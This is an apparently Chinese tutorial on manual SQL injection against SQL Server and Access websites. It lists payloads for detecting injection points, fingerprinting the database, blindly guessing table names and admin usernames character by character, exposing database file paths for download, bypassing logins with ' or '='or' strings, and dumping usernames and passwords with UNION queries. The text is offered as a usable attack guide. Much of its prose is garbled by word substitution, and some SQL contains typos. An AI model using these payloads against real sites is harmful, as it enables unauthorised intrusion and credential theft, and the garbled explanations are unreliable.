SQL Server手工注入方法,方便大家测试注入点

1、参预单引号 ’提交,

结果:要是出现错误提示,则该网站可能就存在注入漏洞。

2、数字型判断是或不是有注入; 语句:and 1=1 ;and 1=2 (经典)、’ and
‘1’=1(字符型)

结果:分别重返不一致的页面,表达存在注入漏洞.

分析:and 的情致是“和”就算没有过滤大家的言语,and
1=1就会被代入SQL查询语句举行查询,
倘诺and前后的两条语句都是真的话就不会出错,但借使前后语句有一个为假的话,程序就会暴错。
也就声明程序有注入漏洞

防注入解决办法:

1>使用or 2>1 ; or 1>2来展开判定

结果:分别再次来到差别的页面,表达存在注入漏洞.

剖析:or注入只必要前后多个语句假使有一个不利就为真,如若前后四个语句都是天经地义的,反而为假。
记住:or注入时,or前面的语句倘若是正确的,则赶回错误页面!倘诺是错误,则赶回正确页面
,表明存在注入点。

2> 使用xor 1=1; xor 1=2

结果:分别再次回到不相同的页面,表明存在注入漏洞.

剖析:xor 代表着异或,意思即一连的表明式仅有一个为确实时候才为真。
记住:xor注入时,xor前面的讲话假若是科学的,则赶回错误页面积,如若是不当,则赶回正确
页面,表达存在注入点。

3>把and 1=1转换成URL编码情势后在付出 and 1=1
URL编码:%41%4E%44%20%%31%3D%31

4>使用-1;-0

浅析:若是回去的页面和后边分化,是另一则新闻,则象征有注入漏洞,是数字型的流入漏洞;在
URL地址前边加上 -0,URL变成
news.asp?id=123-0,重临的页面和前面的页面相同,加上-1,重回错误页面,则也意味存在注入漏洞.

3、字符型判断是或不是有注入:

语句:’ and ‘1’=1;’ and ‘1=2(经典)

结果:分别重临差别的页面,表明存在注入漏洞.

解析:加入’ and ‘1’=1回到正确页面,加入’ and
‘1=2回到错误页面,表明有注入漏同。

防注入解决办法:

在URL的地方前边加上’%2B’(字符型)

分析:URL地址变为:news.asp?id=123’%2B’,再次来到的页面和1同;加
上’2%2B’asdf,URL地址变为:news.asp?id=123’%2Basdf,重临的页面和1
不比,或者说未察觉该条记录,或者失实,则表示存在注入点,是文本型的。

搜索型判断是或不是有注入:

简易的论断搜索型注入漏洞存在不存在的格局是先搜索’,假若出错,表明90%留存这几个漏洞。然后搜索%,即使正常再次回到,表达95%有洞了。

说明:加入如”&”、”[“、”]”、”%”、”$”、”@”等特殊字符,都可以兑现,倘使出现谬误,表达有题目。

操作:
搜索一个关键字,比如2006吧,正常重返所有2006荣辱与共的新闻,再寻觅2006%’and
1=1 and ‘%’=’和 2006%’and 1=2 and
‘%’=’,存在异议的话,就是100%有洞了。关键字%’ and 1=1 and ‘%’=’%
关键字%’ and 1=2 and ‘%’=’% 将and 1=1 换成注入语句就足以了

判定数据库类型:

and user>0

例如:showdetail.asp?id=49 ;and user>0
若是是ACCESS数据库,那么再次回到的一无是处里一般会有”Microsoft JET
Database”关键定,假若是MSSQL数 据库的话再次来到的错误提醒里一般会含有”SQL
Server”关键了.

猜表名 and exists (select * from 表名)

证实:意思与地点一样,只是用的语名不等同。

猜列名 and (select count(列名) from 表名)>0

证实:假使我们输入的列名猜解正确否反回正常页面

猜长度 and (select top 1 len(username) from admin)>0

证实:如若大家输入的结尾一位数据再次来到错误,而不当前一位数字再次来到正确,表达自己所猜解的尺寸
为正确。

猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>50
ascii码1-128

证实:即使大家输入的末尾一位数据重回错误,而不当前一位数字重回正确,表达自己所猜解的数字正确。(可以利用折半法猜内容)

折半法:最小值与最大值差的一半,比如输入50返正确,输入100回来错误,折半后输入75。

三种常见爆库

1、%5c

2、conn.asp

%5c暴库 把二级目录中间的/换成%5c EY: otherweb … s.asp?BigClassName=职务范围&BigClassType=1 比方您能来看:’E:\ahttc040901
\otherweb\dz\database\iXuEr_Studio.asa’不是一 个有效的 路径。
确定路径名称拼写是或不是正确, 以及是不是 连接到文件存放的服务器。
那样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行 .

conn.asp暴库 这些也是比较老的狐狸尾巴,利用市值不大

普遍的:’or’=’or’万能密码登陆

’or’=’or’那是一个足以一而再SQL的语名句.可以平昔进去后台。我采访了一晃。类似的还有
: ’or’’=’ ” or “a”=”a ’) or (’a’=’a “) or (“a”=”a or 1=1– ’ or ’ a’=’a
一个很老的采纳格局,首要用以一些相比较老的网站。

同步查询注入(union查询)

操作步骤:

1>在健康说话后台参加 and 1=2 union select * form
表名,其中*号表示字段数量,从1间接增添 (and 1=2 union select
1,2,3,4 form 表名)假设字段数正确就会有暴错

2>在页面显示数字的地点用诚实获得的字段名代替,如:username,password.

3>在页面字段值处暴出实际的数据库字段值。

相关文章